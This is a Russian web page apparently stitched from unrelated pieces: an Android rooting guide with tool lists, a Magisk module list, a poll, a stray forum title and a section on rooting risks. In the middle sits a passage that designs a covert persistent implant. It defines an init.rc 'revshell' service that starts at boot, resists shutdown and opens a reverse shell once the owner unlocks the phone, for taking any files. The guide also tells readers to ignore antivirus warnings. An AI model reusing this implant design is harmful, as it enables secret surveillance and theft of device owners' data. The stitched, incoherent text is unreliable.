Как получить root-права на Android

Есть три варианта для установки аккаунта суперпользователя:

  1. Через программы на ПК.
  2. С помощью специальных приложения на смартфоне или планшете.
  3. Активация устройства, с уже имеющимися рут-правами.

Рассмотрим каждый метод отдельно.

Как рутировать Android через ПК

Для начала вам необходимо подключить устройство к вашему компьютеру. Удобнее всего это сделать через USB-кабель. Перед непосредственным рутированием телефона измените некоторые параметры в настройках. Вам необходимо разрешить установку приложений из неизвестных источников: сделать это можно в пункте «специальные возможности». Дальше выбираем утилиты для установки.

Программы для root-прав

При установке любой программы антивирус будет сообщать о надвигающейся угрозе. Не стоит обращать на это внимание: любой файл, требующий доступ к основным операционным данным, будет рассматриваться как взлом системы.

●     Kingo Root. Один из самых популярных утилитов для рутирования смартфона и планшета. В базе более 10 000 различных моделей Android, включая самые последние 11 и 12. Помимо рут-сервиса в приложении есть другие дополнительные функции. Доступна версия на русском языке.

●     Unlock Root. Утилит подходит для более старых версий Android от 2.1 до 4.0.3. Среди «старичков» программного обеспечения пользуется широким спросом. Интерфейс не выглядит современно, но достаточно прост для понимания.

 Как получить root-права без ПК

 Рутировать телефон можно и без помощи компьютера. Функция активируется сразу на смартфоне через одно из установленных приложений. Вот лишь некоторые из них:

●     Framaroot. Программа может быть установлена сразу за несколько устройств, объединенных одним аккаунтом. Вместе с ней загружается дополнение SuperSu, отвечающее за работу рут-системы. Если вы захотите стереть программу с телефона, это можно сделать прямо в ней, выбрав функцию

●     Baidu root. Утилит работает с операционной системой Android2 и выше. Приложение не полностью переведена на русский язык, но интерфейс прост для понимания. Российские программисты отметили, что не все телефона марки Samsung совместимы с этим сервисом.

●     Root Genius. Программа ежегодно обновляется, но последняя версия пока доступна только на китайском языке. Разработчик предупреждает о разном времени рутирования в зависимости от марки и модели девайса.

Мой набор Magisk-модулей

  • Busybox — дает доступ приложениям к встроенному busybox от Magisk

  • No Storage Restricts — убирает ограничения в выборе папок в файловом менеджере

  • LuckyPatcher — его модуль нужен для переноса приложений в системный раздел

  • Move Certificates — перенос пользовательских сертификатов в систему

  • NFC Screen Off — работа NFC при выключенном экране

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Получали ли вы Root на своем устройстве?

Нет и не планирую

Нет, но хочу попробовать

Да, но сейчас не имею

Да, пользуюсь root-правами

Проголосовали 127 пользователей.

Воздержались 9 пользователей.

Получение удалённого доступа

Для android существует популярная полезная нагрузка в Metasploit фреймворке которая теоретически может дать нам удалённый доступ к устройству – android/meterpreter/reverse_tcp, однако с ней есть проблемы:

  • Она поставляется в виде обычного приложения. Мы технически не можем установить в android приложение в зашифрованное хранилище, плюс даже если бы могли, это явный шанс скомпрометировать себя, т.к. приложение будет видно в лаунчере и в списке установленных приложений в настройках, а если на устройстве пользователя установлено одно из антивирусных решений, то оно может задетектить его как вирус по публично доступным признакам. Мы можем пересобрать его изменив сигнатуры или даже внедрить в какое-нибудь другое приложение, но сути это не поменяет. 

  • Она была рассчитана на более старые версии android и часть её функций может не работать на современных версиях системы. Некоторые её возможности требуют подтверждения руками системных диалогов с разрешениями, некоторые просто не заведутся.

  • Она работает как обычное непривилегированное приложение, а значит ни к чему особо доступ иметь не может. Если на системе нет root-прав, то мы сможем получить только файлы из общего хранилища и только после подтверждения пользователем диалога с разрешением что автоматически выдаст нас. Если на системе есть root-права, то получить их мы сможем только после явного подтверждения диалога с разрешением. Мы могли бы руками отредактировать базу данных magisk для внесения себя в список приложений которым доступен root и отключить для себя логирование и уведомления о предоставлении root-доступа, но для этого нам нужно отредактировать файл из внутренней директории приложения, а она зашифрована. 

  • Будучи обычным приложением она будет попадать под управление жизненным циклом, система в лучшем случае будет отправлять её в сон в doze-mode, в худшем – просто убьёт и перезапустить её будет некому. Умер процесс приложения – умер и процесс агента, поскольку является дочерним процессом приложения. 

Дополнительно:  Всё время разные коды BSoD - Ошибки "STOP" или "Синий экран смерти" - СофтФорум - всё о компьютерах и не только

Для того, чтобы агент мог без проблем поддерживать себя постоянно запущенным, не отсвечивать в операционной системе и не попадать под регулирования и ограничения для установленных приложений, необходимо оформить его в виде системного сервиса — демона. 

Для того, чтобы понять как именно это сделать, нужно вернуться к процессу загрузки системы, однако теперь мы верхнеуровнево рассмотрим оставшуюся её часть происходящую сразу после рассмотренного в начале boot flow, т.е. когда загрузчик загрузил раздел boot, отработал механизм verified boot и система получила добро на запуск:

  • Ядро и ramdisk распаковывается в оперативную память, и загрузчик запускает ядро.

  • Ядро стартует, инициализирует устройства, драйверы и т.д. и монтирует ramdisk в корень файловой системы. Ramdisk содержит минимальный набор файлов необходимых для запуска пользовательской части системы. Бинарник init, минимальный скрипт init.rc для него, точки монтирования разделов: /system, /vendor и др. и информацию об устройствах которые необходимо в них смонтировать. Вот тут описаны примеры содержания ramdisk для разных версий android. 

  • Далее процесс может проходить по нескольким сценариям, но в целом, конечная цель работы ядра на этапе загрузки – запустить исполняемый файл init, который продолжит загрузку системы уже не в пространстве ядра, а в пространстве пользователя. 

  • Первое что делает процесс init сразу после запуска — загружает скомпилированные политики SELinux и применяет их. SELinux — это механизм ядра для принудительного контроля доступа, пришедший в android из RedHat-подобных дистрибутивов. Мы ещё вернёмся к нему и рассмотрим его более подробно.

  • Далее процесс init парсит скрипт init.rc из ramdisk, который содержит список действий которые необходимо совершить для успешной загрузки системы, а также какие ещё .rc скрипты необходимо загрузить. Android использует свой формат скриптов для загрузки компонентов системы.

  • После отработки всех скриптов мы получаем полностью запущенную систему.

Судя по всему, для внедрения в систему в качестве демона нам потребуется подготовить исполняемый файл с полезной нагрузкой и описать системный сервис, который будет его вызывать. 

Исходный init.rc импортирует дополнительные скрипты из нескольких директорий, в том числе и основного источника этих скриптов из системного раздела: /system/etc/init/.rc, поэтому мы подготовим свой скрипт и поместим его туда.

Синтаксис .rc скриптов несложный, он хорошо описан здесь, а ещё можно подглядеть в то, как именно он устроен просто заглянув в файлы в вышеупомянутой директории.

Подготовим описание нашего сервиса:

service revshell /system/bin/revshell
    disabled
    shutdown critical
 
on property:sys.boot_completed=1
    start revshell

Укажем название сервиса revshell.

Путь к исполняемому файлу будет лежать в стандартной директории для бинарников в android. Агента мы поместим именно туда.

disabled означает то, что его не нужно загружать непосредственно в процессе загрузки системы сразу после обработки скрипта. Мы будем стартовать сервис специальным триггером, который ориентруется на объявление проперти sys.boot_completed.

shutdown critical означает то, что сервис критический и не должен убиваться даже при подаче сигнала о выключении системы.

План таков: система запустит нашего агента при загрузке до попадания на экран ввода кода разблокировки. Агент ожидает расшифровки файловой системы. После того как владелец устройства введёт код разблокировки, агент запускает reverse-shell и предоставляет нам доступ в систему с возможностью достать любые файлы.

На системный сервис не распространяются правила OOM-киллера и правила энергосбережения, он не будет остановлен если в системе заканчивается память, или она уснёт. В случае завершения процесса сервиса по любой причине, система будет его рестартовать не позднее чем через 5 секунд. Даже в случае если сервис не может запуститься и его процесс падает, система никогда на бросит попыток его запустить и будет продолжать делать это пока продолжает работать. 

Выглядит как раз как то что нам нужно, однако тут нашим ожиданиям суждено встретиться с суровыми реальностями организации безопасности в android. Если мы попытаемся установить сервис подобным образом, то система его проигнорирует, а dmesg сообщит нам что-то похожее на это:

avc: denied { transition } scontext=u:r:init:s0 tcontext=u:object_r:system_file:s0

Как устроено хранилище

Если мы посмотрим на структуру разделов на хранилище смартфона, то увидим что их на устройстве довольно много. 

# ls -la /dev/block/by-name                                                                                                                                    
total 0
drwxr-xr-x 2 root root 1480 1973-02-10 03:40 .
drwxr-xr-x 4 root root 2160 1973-02-10 03:40 ..
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 LOGO -> /dev/block/sde18
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 abl -> /dev/block/sde16
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 ablbak -> /dev/block/sde17
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 apdp -> /dev/block/sde31
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 bluetooth -> /dev/block/sde24
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot -> /dev/block/sde19
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 boot_aging -> /dev/block/sde20
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cache -> /dev/block/sda3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 cdt -> /dev/block/sdd2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib -> /dev/block/sde27
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64 -> /dev/block/sde29
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlib64bak -> /dev/block/sde30
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 cmnlibbak -> /dev/block/sde28
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 config -> /dev/block/sda12
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ddr -> /dev/block/sdd3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devcfg -> /dev/block/sde39
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 devinfo -> /dev/block/sde23
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dip -> /dev/block/sde14
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dpo -> /dev/block/sde33
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 dsp -> /dev/block/sde11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 frp -> /dev/block/sda6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsc -> /dev/block/sdf4
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 fsg -> /dev/block/sdf3
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4g9n4 -> /dev/block/sde45
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4j1ed -> /dev/block/sde43
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_4t0n8 -> /dev/block/sde46
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 fw_8v1ee -> /dev/block/sde44
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hyp -> /dev/block/sde5
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 hypbak -> /dev/block/sde6
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymaster -> /dev/block/sde25
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 keymasterbak -> /dev/block/sde26
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 keystore -> /dev/block/sda5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 limits -> /dev/block/sde35
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logdump -> /dev/block/sde40
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 logfs -> /dev/block/sde37
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 md5 -> /dev/block/sdf5
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtp -> /dev/block/sde15
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecapp -> /dev/block/sde12
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 mdtpsecappbak -> /dev/block/sde13
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 minidump -> /dev/block/sde47
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 misc -> /dev/block/sda4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 modem -> /dev/block/sde10
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst1 -> /dev/block/sdf1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 modemst2 -> /dev/block/sdf2
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 msadp -> /dev/block/sde32
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_dycnvbk -> /dev/block/sda7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 oem_stanvbk -> /dev/block/sda8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 param -> /dev/block/sda9
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 persist -> /dev/block/sda2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmic -> /dev/block/sde8
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 pmicbak -> /dev/block/sde9
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 recovery -> /dev/block/sde22
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve -> /dev/block/sdd1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve1 -> /dev/block/sda10
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 reserve2 -> /dev/block/sda11
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 reserve3 -> /dev/block/sdf7
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpm -> /dev/block/sde1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 rpmbak -> /dev/block/sde2
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 sec -> /dev/block/sde7
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 splash -> /dev/block/sde34
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 ssd -> /dev/block/sda1
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 sti -> /dev/block/sde38
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsec -> /dev/block/sde41
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 storsecbak -> /dev/block/sde42
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 system -> /dev/block/sde21
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 toolsfv -> /dev/block/sde36
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tz -> /dev/block/sde3
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 tzbak -> /dev/block/sde4
lrwxrwxrwx 1 root root   16 1973-02-10 03:40 userdata -> /dev/block/sda13
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 vendor -> /dev/block/sdf6
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xbl -> /dev/block/sdb1
lrwxrwxrwx 1 root root   15 1973-02-10 03:40 xblbak -> /dev/block/sdc1

Большинство из них небольшие, и содержат, например, логотип производителя девайса, который отображается сразу после подачи питания на плату устройства. Есть раздел содержащий прошивку, работающую на baseband процессоре и отвечающую за мобильную связь, звонки и интернет по стандартам 2G, 3G, LTE и т.д. Есть разделы содержащие BLOBы необходимые для работы с некоторыми устройствами. Нас будет интересовать всего несколько разделов, содержание которых монтируется в файловую систему и напрямую используется во время работы ОС:

  • Раздел boot содержит ядро операционной системы. 

  • Раздел system содержит саму операционную систему, все её исполняемые файлы, неизменяемые конфиги, системные библиотеки, android-фреймворк и другие jar файлы необходимые для работы виртуальной машины, в которой исполняются android приложения. Начиная с android 10 на многих устройствах вместо обычного system раздела используется раздел system-as-root, он отличается точкой монтирования, но его суть та же – он содержит файлы ОС.

  • Раздел vendor содержит проприетарные компоненты ОС от производителя устройства. Например, драйвера Qualcomm и т д

Данные приложений, «internal storage», находятся по пути /data/data. В этой директории сложены директории-песочницы отдельных приложений, соответствующие их полным именам пакетов. Например:

drwx------   8 u0_a69         u0_a69          4096 2021-01-29 13:31 com.google.android.youtube

Общее хранилище, «external storage», находится по пути /data/media/0, внешние SD-карты соответственно будут называться /data/media/1. Во время работы оно линкуется в /storage.

Чем опасны рут-права

Несмотря на большое количество преимуществ, полный доступ к операционной системе может быть опасным, в некоторых случаях даже фатальным:

●     Пользователю могут отказать в гарантийном обслуживании устройства. Многие компании не ремонтируют девайс бесплатно, если обнаруживают на нем root. Прежде чем рутировать телефон, узнайте о политике производителя.

●     Устройство может легко выйти из строя. С неограниченными возможностями доступа нужно уметь справляться. Пользователь может довести устройство до состояния «кирпича», при котором телефон постоянно перезагружается или не включается вообще.

●     Высокая вероятность заражения вирусом. Программа становится уязвимой для вредоносных ПО, поэтому внимательно проверяйте файлы перед их скачиванием. Попадание вируса может не просто замедлить работу девайса, но и полностью стереть все данные.

●     Многие программы не работают на устройстве с root-доступом. Такие как приложения банка, стриминговые сервисы и другие, где могут быть перехвачены личные данные. Есть специальные утилиты, маскирующие рут, но остается вероятность сбоя работы устройства.

●     Неполадки с обновлением. Обновить операционную систему через настройки на телефоне теперь не получится. Придется найти другие способы, читай утилиты, чтобы ее обойти.

Оцените статью
Master Hi-technology
Добавить комментарий